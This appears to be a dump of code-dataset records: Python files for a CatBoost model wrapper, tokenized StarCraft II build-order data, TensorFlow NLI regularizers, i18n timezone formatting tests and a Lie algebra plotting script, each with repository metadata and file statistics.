] | 5 | 2020-03-12T21:33:22.000Z | 2020-12-21T14:43:04.000Z | from typing import Sequence, Union, Optional
import logging
import pandas as pd
import re
import catboost
from .util.string import orRegexGroup
from .sklearn.sklearn_base import AbstractSkLearnMultipleOneDimVectorRegressionModel, AbstractSkLearnVectorClassificationModel
log = logging.getLogger(__name__)
class CatBoostVectorRegressionModel(AbstractSkLearnMultipleOneDimVectorRegressionModel):
log = log.getChild(__qualname__)
def __init__(self, categoricalFeatureNames: Optional[Union[Sequence[str], str]] = None, random_state=42, num_leaves=31, **modelArgs):
"""
:param categoricalFeatureNames: sequence of feature names in the input data that are categorical.
Columns that have dtype 'category' (as will be the case for categorical columns created via FeatureGenerators)
need not be specified (should be inferred automatically).
In general, passing categorical features is preferable to using one-hot encoding, for example.
:param random_state: the random seed to use
:param num_leaves: the maximum number of leaves in one tree (original catboost default is 31)
:param modelArgs: see https://catboost.ai/docs/concepts/python-reference_parameters-list.html#python-reference_parameters-list
"""
super().__init__(catboost.CatBoostRegressor, random_seed=random_state, num_leaves=num_leaves, **modelArgs)
if type(categoricalFeatureNames) == str:
categoricalFeatureNameRegex = categoricalFeatureNames
else:
if categoricalFeatureNames is not None and len(categoricalFeatureNames) > 0:
categoricalFeatureNameRegex = orRegexGroup(categoricalFeatureNames)
else:
categoricalFeatureNameRegex = None
self._categoricalFeatureNameRegex: str = categoricalFeatureNameRegex
def _updateModelArgs(self, inputs: pd.DataFrame, outputs: pd.DataFrame):
if self._categoricalFeatureNameRegex is not None:
cols = list(inputs.columns)
categoricalFeatureNames = [col for col in cols if re.match(self._categoricalFeatureNameRegex, col)]
colIndices = [cols.index(f) for f in categoricalFeatureNames]
args = {"cat_features": colIndices}
self.log.info(f"Updating model parameters with {args}")
self.modelArgs.update(args)
class CatBoostVectorClassificationModel(AbstractSkLearnVectorClassificationModel):
log = log.getChild(__qualname__)
def __init__(self, categoricalFeatureNames: Sequence[str] = None, random_state=42, num_leaves=31, **modelArgs):
"""
:param categoricalFeatureNames: sequence of feature names in the input data that are categorical
Columns that have dtype 'category' (as will be the case for categorical columns created via FeatureGenerators)
need not be specified (should be inferred automatically, but we have never actually tested this behaviour
successfully for a classification model).
In general, passing categorical features may be preferable to using one-hot encoding, for example.
:param random_state: the random seed to use
:param num_leaves: the maximum number of leaves in one tree (original catboost default is 31)
:param modelArgs: see https://catboost.ai/docs/concepts/python-reference_parameters-list.html#python-reference_parameters-list
"""
super().__init__(catboost.CatBoostClassifier, random_seed=random_state, num_leaves=num_leaves, **modelArgs)
if type(categoricalFeatureNames) == str:
categoricalFeatureNameRegex = categoricalFeatureNames
else:
if categoricalFeatureNames is not None and len(categoricalFeatureNames) > 0:
categoricalFeatureNameRegex = orRegexGroup(categoricalFeatureNames)
else:
categoricalFeatureNameRegex = None
self._categoricalFeatureNameRegex: str = categoricalFeatureNameRegex
def _updateModelArgs(self, inputs: pd.DataFrame, outputs: pd.DataFrame):
if self._categoricalFeatureNameRegex is not None:
cols = list(inputs.columns)
categoricalFeatureNames = [col for col in cols if re.match(self._categoricalFeatureNameRegex, col)]
colIndices = [cols.index(f) for f in categoricalFeatureNames]
args = {"cat_features": colIndices}
self.log.info(f"Updating model parameters with {args}")
self.modelArgs.update(args) | 56.5125 | 137 | 0.723734 | 465 | 4,521 | 6.909677 | 0.288172 | 0.022409 | 0.031124 | 0.036103 | 0.821662 | 0.799876 | 0.799876 | 0.799876 | 0.765017 | 0.765017 | 0 | 0.003919 | 0.209909 | 4,521 | 80 | 138 | 56.5125 | 0.895577 | 0.303915 | 0 | 0.708333 | 0 | 0 | 0.032699 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.083333 | false | 0 | 0.145833 | 0 | 0.3125 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
742f9d7469e9fd972b5ecf5e827f4fd23ef5f9ef | 381,588 | py | Python | sc2_build_tokenizer/all_data/tokenized_builds.py | ZephyrBlu/sc2-build-tokenizer | 18ebcd6f66b8dbca2621b575bcfc3a85476976cc | [
"MIT"
] | 2 | 2021-05-08T11:43:25.000Z | 2021-05-10T20:23:22.000Z | sc2_build_tokenizer/all_data/tokenized_builds.py | ZephyrBlu/sc2-build-tokenizer | 18ebcd6f66b8dbca2621b575bcfc3a85476976cc | [
"MIT"
] | null | null | null | sc2_build_tokenizer/all_data/tokenized_builds.py | ZephyrBlu/sc2-build-tokenizer | 18ebcd6f66b8dbca2621b575bcfc3a85476976cc | [
"MIT"
] | null | null | null | TOKENIZED_BUILDS = [[{'race': 'Protoss', 'player': 'Zest', 'max_collection_rate': 2322, 'tokens': [('Gateway', 'Nexus', 'CyberneticsCore', 'Stargate'), ('Gateway',), ('TwilightCouncil',), ('Nexus',), ('RoboticsFacility', 'Gateway', 'Gateway', 'Gateway'), ('Gateway', 'Gateway', 'Gateway', 'Gateway')], 'probability': 1.5398040832423073e-06, 'probability_values': [0.5806451612903226, 0.428842504743833, 0.3181818181818182, 0.8888888888888888, 0.428842504743833, 0.07020872865275142, 0.15370018975332067, 1.0, 0.5714285714285714, 0.06641366223908918, 1.0, 0.8205128205128205, 0.48484848484848486, 0.428842504743833, 0.7297297297297297], 'information': 19.30882176782954, 'information_values': [0.7842713089445629, 1.221480189222027, 1.6520766965796931, 0.16992500144231246, 1.221480189222027, 3.832205786008265, 2.70180914875259, -0.0, 0.8073549220576043, 3.9123761346922485, -0.0, 0.2854022188622484, 1.0443941193584534, 1.221480189222027, 0.4545658634654813]}, {'race': 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bb58f95c117c6c21d3aef839737f0cfc93657e54 | 7,119 | py | Python | nnli/regularizers/base.py | uclmr/adversarial-nli | 7222b0fd2989fff237520c401d00249262f750dc | [
"MIT"
] | 27 | 2018-08-27T07:30:10.000Z | 2019-05-16T19:29:33.000Z | nnli/regularizers/base.py | uclmr/adversarial-nli | 7222b0fd2989fff237520c401d00249262f750dc | [
"MIT"
] | null | null | null | nnli/regularizers/base.py | uclmr/adversarial-nli | 7222b0fd2989fff237520c401d00249262f750dc | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
import tensorflow as tf
def contradiction_acl(model_class, model_kwargs,
pooling_function=tf.reduce_sum,
entailment_idx=0, neutral_idx=1, contradiction_idx=2,
debug=False, is_bi=False):
model = model_class(reuse=True, **model_kwargs)
logits = model()
contradiction_prob = tf.nn.softmax(logits)[:, contradiction_idx]
inv_sequence2, inv_sequence2_length = model_kwargs['sequence1'], model_kwargs['sequence1_length']
inv_sequence1, inv_sequence1_length = model_kwargs['sequence2'], model_kwargs['sequence2_length']
inv_model_kwargs = model_kwargs.copy()
inv_model_kwargs['sequence1'] = inv_sequence1
inv_model_kwargs['sequence1_length'] = inv_sequence1_length
inv_model_kwargs['sequence2'] = inv_sequence2
inv_model_kwargs['sequence2_length'] = inv_sequence2_length
inv_model = model_class(reuse=True, **inv_model_kwargs)
inv_logits = inv_model()
inv_contradiction_prob = tf.nn.softmax(inv_logits)[:, contradiction_idx]
p_i, q_i = contradiction_prob, inv_contradiction_prob
losses = tf.nn.relu(p_i - q_i)
if is_bi:
p_i, q_i = inv_contradiction_prob, contradiction_prob
losses += tf.nn.relu(p_i - q_i)
loss = pooling_function(losses)
return (loss, losses) if debug else loss
def entailment_acl(model_class, model_kwargs,
pooling_function=tf.reduce_sum,
entailment_idx=0, neutral_idx=1, contradiction_idx=2,
debug=False, is_bi=False):
model = model_class(reuse=True, **model_kwargs)
logits = model()
entailment_prob = tf.nn.softmax(logits)[:, entailment_idx]
contradiction_prob = tf.nn.softmax(logits)[:, contradiction_idx]
inv_sequence2, inv_sequence2_length = model_kwargs['sequence1'], model_kwargs['sequence1_length']
inv_sequence1, inv_sequence1_length = model_kwargs['sequence2'], model_kwargs['sequence2_length']
inv_model_kwargs = model_kwargs.copy()
inv_model_kwargs['sequence1'] = inv_sequence1
inv_model_kwargs['sequence1_length'] = inv_sequence1_length
inv_model_kwargs['sequence2'] = inv_sequence2
inv_model_kwargs['sequence2_length'] = inv_sequence2_length
inv_model = model_class(reuse=True, **inv_model_kwargs)
inv_logits = inv_model()
inv_contradiction_prob = tf.nn.softmax(inv_logits)[:, contradiction_idx]
inv_entailment_prob = tf.nn.softmax(inv_logits)[:, entailment_idx]
p_i, q_i = entailment_prob, inv_contradiction_prob
losses = tf.nn.relu(p_i - (1.0 - q_i))
if is_bi:
p_i, q_i = inv_entailment_prob, contradiction_prob
losses += tf.nn.relu(p_i - (1.0 - q_i))
loss = pooling_function(losses)
return (loss, losses) if debug else loss
def neutral_acl(model_class, model_kwargs,
pooling_function=tf.reduce_sum,
entailment_idx=0, neutral_idx=1, contradiction_idx=2,
debug=False, is_bi=False):
model = model_class(reuse=True, **model_kwargs)
logits = model()
neutral_prob = tf.nn.softmax(logits)[:, neutral_idx]
contradiction_prob = tf.nn.softmax(logits)[:, contradiction_idx]
inv_sequence2, inv_sequence2_length = model_kwargs['sequence1'], model_kwargs['sequence1_length']
inv_sequence1, inv_sequence1_length = model_kwargs['sequence2'], model_kwargs['sequence2_length']
inv_model_kwargs = model_kwargs.copy()
inv_model_kwargs['sequence1'] = inv_sequence1
inv_model_kwargs['sequence1_length'] = inv_sequence1_length
inv_model_kwargs['sequence2'] = inv_sequence2
inv_model_kwargs['sequence2_length'] = inv_sequence2_length
inv_model = model_class(reuse=True, **inv_model_kwargs)
inv_logits = inv_model()
inv_contradiction_prob = tf.nn.softmax(inv_logits)[:, contradiction_idx]
inv_neutral_prob = tf.nn.softmax(inv_logits)[:, neutral_idx]
p_i, q_i = neutral_prob, inv_contradiction_prob
losses = tf.nn.relu(p_i - (1.0 - q_i))
if is_bi:
p_i, q_i = inv_neutral_prob, contradiction_prob
losses += tf.nn.relu(p_i - (1.0 - q_i))
loss = pooling_function(losses)
return (loss, losses) if debug else loss
def entailment_reflexive_acl(model_class, model_kwargs,
pooling_function=tf.reduce_sum,
entailment_idx=0, neutral_idx=1, contradiction_idx=2,
debug=False, is_bi=True):
sequence1, sequence1_length = model_kwargs['sequence1'], model_kwargs['sequence1_length']
sequence2, sequence2_length = model_kwargs['sequence2'], model_kwargs['sequence2_length']
model_kwargs_a = model_kwargs.copy()
model_kwargs_b = model_kwargs.copy()
model_kwargs_a['sequence1'], model_kwargs_a['sequence1_length'] = sequence1, sequence1_length
model_kwargs_a['sequence2'], model_kwargs_a['sequence2_length'] = sequence1, sequence1_length
model_kwargs_b['sequence1'], model_kwargs_b['sequence1_length'] = sequence2, sequence2_length
model_kwargs_b['sequence2'], model_kwargs_b['sequence2_length'] = sequence2, sequence2_length
model_a = model_class(reuse=True, **model_kwargs_a)
model_b = model_class(reuse=True, **model_kwargs_b)
logits_a = model_a()
logits_b = model_b()
entailment_a_prob = tf.nn.softmax(logits_a)[:, entailment_idx]
entailment_b_prob = tf.nn.softmax(logits_b)[:, entailment_idx]
losses = tf.nn.relu(1.0 - entailment_a_prob) + tf.nn.relu(1.0 - entailment_b_prob)
loss = pooling_function(losses)
return (loss, losses) if debug else loss
# XXX: This is a soft constraint - it's not true in case of paraphrases,
# but it tends to be true most of the times.
#
def entailment_neutral_acl(model_class, model_kwargs,
pooling_function=tf.reduce_sum,
entailment_idx=0, neutral_idx=1, contradiction_idx=2,
debug=False, is_bi=False):
model = model_class(reuse=True, **model_kwargs)
logits = model()
entailment_prob = tf.nn.softmax(logits)[:, entailment_idx]
neutral_prob = tf.nn.softmax(logits)[:, neutral_idx]
inv_sequence2, inv_sequence2_length = model_kwargs['sequence1'], model_kwargs['sequence1_length']
inv_sequence1, inv_sequence1_length = model_kwargs['sequence2'], model_kwargs['sequence2_length']
inv_model_kwargs = model_kwargs.copy()
inv_model_kwargs['sequence1'] = inv_sequence1
inv_model_kwargs['sequence1_length'] = inv_sequence1_length
inv_model_kwargs['sequence2'] = inv_sequence2
inv_model_kwargs['sequence2_length'] = inv_sequence2_length
inv_model = model_class(reuse=True, **inv_model_kwargs)
inv_logits = inv_model()
inv_entailment_prob = tf.nn.softmax(inv_logits)[:, entailment_idx]
inv_neutral_prob = tf.nn.softmax(inv_logits)[:, neutral_idx]
p_i, q_i = entailment_prob, inv_neutral_prob
losses = tf.nn.relu(p_i - q_i)
if is_bi:
p_i, q_i = inv_entailment_prob, neutral_prob
losses += tf.nn.relu(p_i - q_i)
loss = pooling_function(losses)
return (loss, losses) if debug else loss
| 37.867021 | 101 | 0.711617 | 963 | 7,119 | 4.874351 | 0.070613 | 0.166383 | 0.071581 | 0.051129 | 0.912654 | 0.877077 | 0.838304 | 0.823818 | 0.780145 | 0.779293 | 0 | 0.019966 | 0.183874 | 7,119 | 187 | 102 | 38.069519 | 0.787952 | 0.018963 | 0 | 0.758065 | 0 | 0 | 0.078808 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.040323 | false | 0 | 0.008065 | 0 | 0.08871 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
24a2856de80396e028c6e97f3ce4eb510e10d6c1 | 12,248 | py | Python | tests/test_timezones.py | nagareproject/services-i18n | bdb07b4bd0ed36be416b4db41e2d1c349c110afa | [
"BSD-3-Clause"
] | null | null | null | tests/test_timezones.py | nagareproject/services-i18n | bdb07b4bd0ed36be416b4db41e2d1c349c110afa | [
"BSD-3-Clause"
] | null | null | null | tests/test_timezones.py | nagareproject/services-i18n | bdb07b4bd0ed36be416b4db41e2d1c349c110afa | [
"BSD-3-Clause"
] | null | null | null | # Encoding: utf-8
# --
# Copyright (c) 2008-2021 Net-ng.
# All rights reserved.
#
# This software is licensed under the BSD License, as described in
# the file LICENSE.txt, which you should have received as part of
# this distribution.
# --
import datetime
import pytz
from nagare import local, i18n
def setup_module(module):
local.request = local.Process()
def test_to_timezone_no_timezone_datetime():
d1 = datetime.datetime(2007, 4, 1, 15, 30)
i18n.set_locale(i18n.Locale('fr', 'FR'))
d2 = i18n.to_timezone(d1)
assert d2.tzinfo is None
assert d2.strftime('%H:%M') == '15:30'
i18n.set_locale(i18n.Locale('fr', 'FR', timezone='Pacific/Pitcairn'))
d2 = i18n.to_timezone(d1)
assert str(d2.tzinfo) == 'Pacific/Pitcairn'
assert d2.strftime('%H:%M') == '15:30'
i18n.set_locale(i18n.Locale('fr', 'FR', timezone='Pacific/Pitcairn', default_timezone=pytz.UTC))
d2 = i18n.to_timezone(d1)
assert str(d2.tzinfo) == 'Pacific/Pitcairn'
assert d2.strftime('%H:%M') == '07:30'
def test_to_timezone_utc_datetime():
d1 = datetime.datetime(2007, 4, 1, 15, 30, tzinfo=pytz.UTC)
i18n.set_locale(i18n.Locale('fr', 'FR'))
d2 = i18n.to_timezone(d1)
assert str(d2.tzinfo) == 'UTC'
assert d2.strftime('%H:%M') == '15:30'
i18n.set_locale(i18n.Locale('fr', 'FR', timezone='Pacific/Pitcairn'))
d2 = i18n.to_timezone(d1)
assert str(d2.tzinfo) == 'Pacific/Pitcairn'
assert d2.strftime('%H:%M') == '07:30'
i18n.set_locale(i18n.Locale('fr', 'FR', timezone='Pacific/Pitcairn', default_timezone=pytz.UTC))
d2 = i18n.to_timezone(d1)
assert str(d2.tzinfo) == 'Pacific/Pitcairn'
assert d2.strftime('%H:%M') == '07:30'
def test_to_timezone_local_datetime():
tz = pytz.timezone('Pacific/Pitcairn')
d1 = tz.localize(datetime.datetime(2007, 4, 1, 15, 30))
i18n.set_locale(i18n.Locale('fr', 'FR'))
d2 = i18n.to_timezone(d1)
assert str(d2.tzinfo) == 'Pacific/Pitcairn'
assert d2.strftime('%H:%M') == '15:30'
i18n.set_locale(i18n.Locale('fr', 'FR', timezone='Africa/Niamey'))
d2 = i18n.to_timezone(d1)
assert str(d2.tzinfo) == 'Africa/Niamey'
assert d2.strftime('%H:%M') == '00:30'
i18n.set_locale(i18n.Locale('fr', 'FR', timezone='Africa/Niamey', default_timezone=pytz.UTC))
d2 = i18n.to_timezone(d1)
assert str(d2.tzinfo) == 'Africa/Niamey'
assert d2.strftime('%H:%M') == '00:30'
def test_to_utc_no_timezone_datetime():
d1 = datetime.datetime(2007, 4, 1, 15, 30)
i18n.set_locale(i18n.Locale('fr', 'FR'))
d2 = i18n.to_utc(d1)
assert str(d2.tzinfo) == 'UTC'
assert d2.strftime('%H:%M') == '15:30'
i18n.set_locale(i18n.Locale('fr', 'FR', timezone='Africa/Niamey'))
d2 = i18n.to_utc(d1)
assert str(d2.tzinfo) == 'UTC'
assert d2.strftime('%H:%M') == '14:30'
i18n.set_locale(i18n.Locale('fr', 'FR', timezone='Africa/Niamey', default_timezone=pytz.UTC))
d2 = i18n.to_utc(d1)
assert str(d2.tzinfo) == 'UTC'
assert d2.strftime('%H:%M') == '15:30'
def test_to_utc_utc_datetime():
d1 = datetime.datetime(2007, 4, 1, 15, 30, tzinfo=pytz.UTC)
i18n.set_locale(i18n.Locale('fr', 'FR'))
d2 = i18n.to_utc(d1)
assert str(d2.tzinfo) == 'UTC'
assert d2.strftime('%H:%M') == '15:30'
i18n.set_locale(i18n.Locale('fr', 'FR', timezone='Africa/Niamey'))
d2 = i18n.to_utc(d1)
assert str(d2.tzinfo) == 'UTC'
assert d2.strftime('%H:%M') == '15:30'
i18n.set_locale(i18n.Locale('fr', 'FR', timezone='Africa/Niamey', default_timezone=pytz.UTC))
d2 = i18n.to_utc(d1)
assert str(d2.tzinfo) == 'UTC'
assert d2.strftime('%H:%M') == '15:30'
def test_to_utc_local_datetime():
tz = pytz.timezone('Pacific/Pitcairn')
d1 = tz.localize(datetime.datetime(2007, 4, 1, 15, 30))
i18n.set_locale(i18n.Locale('fr', 'FR'))
d2 = i18n.to_utc(d1)
assert str(d2.tzinfo) == 'UTC'
assert d2.strftime('%H:%M') == '23:30'
i18n.set_locale(i18n.Locale('fr', 'FR', timezone='Africa/Niamey'))
d2 = i18n.to_utc(d1)
assert str(d2.tzinfo) == 'UTC'
assert d2.strftime('%H:%M') == '23:30'
i18n.set_locale(i18n.Locale('fr', 'FR', timezone='Africa/Niamey', default_timezone=pytz.UTC))
d2 = i18n.to_utc(d1)
assert str(d2.tzinfo) == 'UTC'
assert d2.strftime('%H:%M') == '23:30'
def test_format_time_time_fr1():
i18n.set_locale(i18n.Locale('fr', 'FR'))
t = datetime.time(15, 30)
assert i18n.format_time(t, format='full') == u'15:30:00 Temps universel coordonné'
assert i18n.format_time(t, format='long') == '15:30:00 TU'
assert i18n.format_time(t, format='medium') == '15:30:00'
assert i18n.format_time(t) == '15:30:00'
assert i18n.format_time(t, format='short') == '15:30'
def test_format_time_time_fr2():
i18n.set_locale(i18n.Locale('fr', 'FR', timezone='Africa/Niamey'))
t = datetime.time(15, 30)
assert i18n.format_time(t, format='full') == u'15:30:00 heure normale d’Afrique de l’Ouest'
assert i18n.format_time(t, format='long') == '15:30:00 +0100'
assert i18n.format_time(t, format='medium') == '15:30:00'
assert i18n.format_time(t) == '15:30:00'
assert i18n.format_time(t, format='short') == '15:30'
def test_format_time_time_fr3():
i18n.set_locale(i18n.Locale('fr', 'FR'))
t = datetime.time(15, 30, tzinfo=pytz.timezone('Pacific/Pitcairn'))
assert i18n.format_time(t, format='full') == u'15:30:00 Temps universel coordonné'
assert i18n.format_time(t, format='long') == '15:30:00 TU'
assert i18n.format_time(t, format='medium') == '15:30:00'
assert i18n.format_time(t) == '15:30:00'
assert i18n.format_time(t, format='short') == '15:30'
def test_format_time_time_fr4():
i18n.set_locale(i18n.Locale('fr', 'FR', timezone='Africa/Niamey'))
t = datetime.time(15, 30, tzinfo=pytz.timezone('Pacific/Pitcairn'))
assert i18n.format_time(t, format='full') == u'15:30:00 heure normale d’Afrique de l’Ouest'
assert i18n.format_time(t, format='long') == '15:30:00 +0100'
assert i18n.format_time(t, format='medium') == '15:30:00'
assert i18n.format_time(t) == '15:30:00'
assert i18n.format_time(t, format='short') == '15:30'
def test_format_time_time_en():
i18n.set_locale(i18n.Locale('en', 'US', timezone='Pacific/Pitcairn'))
t = datetime.time(15, 30)
assert i18n.format_time(t, format='full') == '3:30:00 PM Pitcairn Time'
assert i18n.format_time(t, format='long') == '3:30:00 PM -0800'
assert i18n.format_time(t, format='medium') == '3:30:00 PM'
assert i18n.format_time(t) == '3:30:00 PM'
assert i18n.format_time(t, format='short') == '3:30 PM'
def test_format_time_time_with_format():
i18n.set_locale(i18n.Locale('en', 'US', timezone='Pacific/Pitcairn'))
t = datetime.time(15, 30)
assert i18n.format_time(t, format="hh 'o''clock' a, zzzz") == "03 o'clock PM, Pitcairn Time"
t = datetime.time(15, 30, tzinfo=pytz.timezone('Africa/Niamey'))
assert i18n.format_time(t, format="hh 'o''clock' a, zzzz") == "03 o'clock PM, Pitcairn Time"
def test_format_time_datetime_fr1():
i18n.set_locale(i18n.Locale('fr', 'FR'))
d = datetime.datetime(2007, 4, 1, 15, 30)
assert i18n.format_time(d, format='full') == u'15:30:00 Temps universel coordonné'
assert i18n.format_time(d, format='long') == '15:30:00 TU'
assert i18n.format_time(d, format='medium') == '15:30:00'
assert i18n.format_time(d) == '15:30:00'
assert i18n.format_time(d, format='short') == '15:30'
def test_format_time_datetime_fr2():
i18n.set_locale(i18n.Locale('fr', 'FR', timezone='Africa/Niamey'))
d = datetime.datetime(2007, 4, 1, 15, 30)
assert i18n.format_time(d, format='full') == u'15:30:00 heure normale d’Afrique de l’Ouest'
assert i18n.format_time(d, format='long') == '15:30:00 +0100'
assert i18n.format_time(d, format='medium') == '15:30:00'
assert i18n.format_time(d) == '15:30:00'
assert i18n.format_time(d, format='short') == '15:30'
def test_format_time_datetime_fr3():
i18n.set_locale(i18n.Locale('fr', 'FR', timezone='Africa/Niamey', default_timezone=pytz.UTC))
d = datetime.datetime(2007, 4, 1, 15, 30)
assert i18n.format_time(d, format='full') == u'16:30:00 heure normale d’Afrique de l’Ouest'
assert i18n.format_time(d, format='long') == '16:30:00 +0100'
assert i18n.format_time(d, format='medium') == '16:30:00'
assert i18n.format_time(d) == '16:30:00'
assert i18n.format_time(d, format='short') == '16:30'
def test_format_time_datetime_fr4():
i18n.set_locale(i18n.Locale('fr', 'FR'))
tz = pytz.timezone('Pacific/Pitcairn')
d = tz.localize(datetime.datetime(2007, 4, 1, 15, 30))
assert i18n.format_time(d, format='full') == u'23:30:00 Temps universel coordonné'
assert i18n.format_time(d, format='long') == '23:30:00 TU'
assert i18n.format_time(d, format='medium') == '23:30:00'
assert i18n.format_time(d) == '23:30:00'
assert i18n.format_time(d, format='short') == '23:30'
def test_format_time_datetime_fr5():
i18n.set_locale(i18n.Locale('fr', 'FR', timezone='Africa/Niamey'))
tz = pytz.timezone('Pacific/Pitcairn')
d = tz.localize(datetime.datetime(2007, 4, 1, 15, 30))
assert i18n.format_time(d, format='full') == u'00:30:00 heure normale d’Afrique de l’Ouest'
assert i18n.format_time(d, format='long') == '00:30:00 +0100'
assert i18n.format_time(d, format='medium') == '00:30:00'
assert i18n.format_time(d) == '00:30:00'
assert i18n.format_time(d, format='short') == '00:30'
def test_format_time_datetime_with_format():
i18n.set_locale(i18n.Locale('en', 'US', timezone='Pacific/Pitcairn'))
d = datetime.datetime(2007, 4, 1, 15, 30)
assert i18n.format_time(d, format="hh 'o''clock' a, zzzz") == u"03 o'clock PM, Pitcairn Time"
tz = pytz.timezone('Africa/Niamey')
d = tz.localize(datetime.datetime(2007, 4, 1, 15, 30))
assert i18n.format_time(d, format="hh 'o''clock' a, zzzz") == u"06 o'clock AM, Pitcairn Time"
def test_format_date_date():
i18n.set_locale(i18n.Locale('fr', 'FR'))
d = datetime.date(2007, 4, 1)
assert i18n.format_date(d, format='full') == 'dimanche 1 avril 2007'
assert i18n.format_date(d, format='long') == '1 avril 2007'
assert i18n.format_date(d, format='medium') == '1 avr. 2007'
assert i18n.format_date(d) == '1 avr. 2007'
assert i18n.format_date(d, format='short') == '01/04/2007'
def test_format_date_datetime():
i18n.set_locale(i18n.Locale('fr', 'FR'))
tz = pytz.timezone('Pacific/Pitcairn')
d = tz.localize(datetime.datetime(2007, 4, 1, 15, 30))
assert i18n.format_date(d, format='full') == 'dimanche 1 avril 2007'
assert i18n.format_date(d, format='long') == '1 avril 2007'
assert i18n.format_date(d, format='medium') == '1 avr. 2007'
assert i18n.format_date(d) == '1 avr. 2007'
assert i18n.format_date(d, format='short') == '01/04/2007'
def test_format_date_date_with_format():
i18n.set_locale(i18n.Locale('fr', 'FR'))
d = datetime.date(2007, 4, 1)
assert i18n.format_date(d, 'EEE, MMM d, yy') == 'dim., avr. 1, 07'
def test_format_datetime():
i18n.set_locale(i18n.Locale('fr', 'FR', timezone='Africa/Niamey'))
tz = pytz.timezone('Pacific/Pitcairn')
d = tz.localize(datetime.datetime(2007, 4, 1, 15, 30))
assert i18n.format_datetime(d, format='full') == u'lundi 2 avril 2007 à 00:30:00 heure normale d’Afrique de l’Ouest'
assert i18n.format_datetime(d, format='long') == u'2 avril 2007 à 00:30:00 +0100'
assert i18n.format_datetime(d, format='medium') == u'2 avr. 2007 à 00:30:00'
assert i18n.format_datetime(d) == u'2 avr. 2007 à 00:30:00'
assert i18n.format_datetime(d, format='short') == '02/04/2007 00:30'
def test_format_datetime_with_format():
i18n.set_locale(i18n.Locale('en', 'US', timezone='Pacific/Pitcairn'))
d = datetime.datetime(2007, 4, 1, 15, 30)
assert i18n.format_datetime(d, format="yyyy.MM.dd G 'at' HH:mm:ss zzz") == '2007.04.01 AD at 15:30:00 -0800'
tz = pytz.timezone('Africa/Niamey')
d = tz.localize(datetime.datetime(2007, 4, 1, 15, 30))
assert i18n.format_datetime(d, format="yyyy.MM.dd G 'at' HH:mm:ss zzz") == '2007.04.01 AD at 06:30:00 -0800'
| 36.561194 | 120 | 0.654148 | 1,956 | 12,248 | 3.980573 | 0.071575 | 0.092474 | 0.147958 | 0.138711 | 0.941562 | 0.92692 | 0.907141 | 0.889802 | 0.869766 | 0.845235 | 0 | 0.113013 | 0.160516 | 12,248 | 334 | 121 | 36.670659 | 0.644233 | 0.018125 | 0 | 0.70852 | 0 | 0 | 0.210719 | 0 | 0 | 0 | 0 | 0 | 0.484305 | 1 | 0.107623 | false | 0 | 0.013453 | 0 | 0.121076 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
24be2e5c9cffafeac6307ebce42259636e1d5b10 | 2,413 | py | Python | lie_plot.py | Quin-Darcy/Eigen-Values-of-the-Adjoint-Representation | f3f1c115cfe8c20c4b3a13921acb2987927d2ce9 | [
"MIT"
] | null | null | null | lie_plot.py | Quin-Darcy/Eigen-Values-of-the-Adjoint-Representation | f3f1c115cfe8c20c4b3a13921acb2987927d2ce9 | [
"MIT"
] | null | null | null | lie_plot.py | Quin-Darcy/Eigen-Values-of-the-Adjoint-Representation | f3f1c115cfe8c20c4b3a13921acb2987927d2ce9 | [
"MIT"
] | null | null | null | from Modules import sl
import sys
def check_error(args):
if (len(args) != 4):
print('Usage: lie_plot [OPTION] DIM COEFFS\n')
print('Info:')
print(' DIM: Positive integer. This is the dimension of the matrices in the Lie algebra.')
print(' COEFFS: Positive integer. This is the number of coeffients used to generate spanning set.')
print('Mandatory options:')
print(' v verbose. Print info about image.')
print(' s silent. No information printed.')
print('Recomended: ')
print(' The bigger DIM is the smaller COEFFS should be. Try (2, 100)')
print('Example: ')
print(' "lie_plot v 3 50"')
return False
elif(args[1] != 'v' and args[1] != 's'):
print('Usage: lie_plot [OPTION] DIM COEFFS\n')
print('Info:')
print(' DIM: Positive integer. This is the dimension of the matrices in the Lie algebra.')
print(' COEFFS: Positive integer. This is the number of coeffients used to generate spanning set.')
print('Mandatory options:')
print(' v verbose. Print info about image.')
print(' s silent. No information printed.')
print('Recomended: ')
print(' The bigger DIM is the smaller COEFFS should be. Try (2, 100)')
print('Example: ')
print(' "lie_plot v 3 50"')
return False
elif (int(args[2])<1 or int(args[3])<1):
print('Usage: lie_plot [OPTION] DIM COEFFS\n')
print('Info:')
print(' DIM: Positive integer. This is the dimension of the matrices in the Lie algebra.')
print(' COEFFS: Positive integer. This is the number of coeffients used to generate spanning set.')
print('Mandatory options:')
print(' v verbose. Print info about image.')
print(' s silent. No information printed.')
print('Recomended: ')
print(' The bigger DIM is the smaller COEFFS should be. Try (2, 100)')
print('Example: ')
print(' "lie_plot v 3 50"')
return False
else:
return True
def main(args):
error = check_error(args)
if (error):
flag = args[1]
dim = int(args[2])
coeffs = int(args[3])
sl.ALG(dim, coeffs, flag)
if __name__ == '__main__':
main(sys.argv)
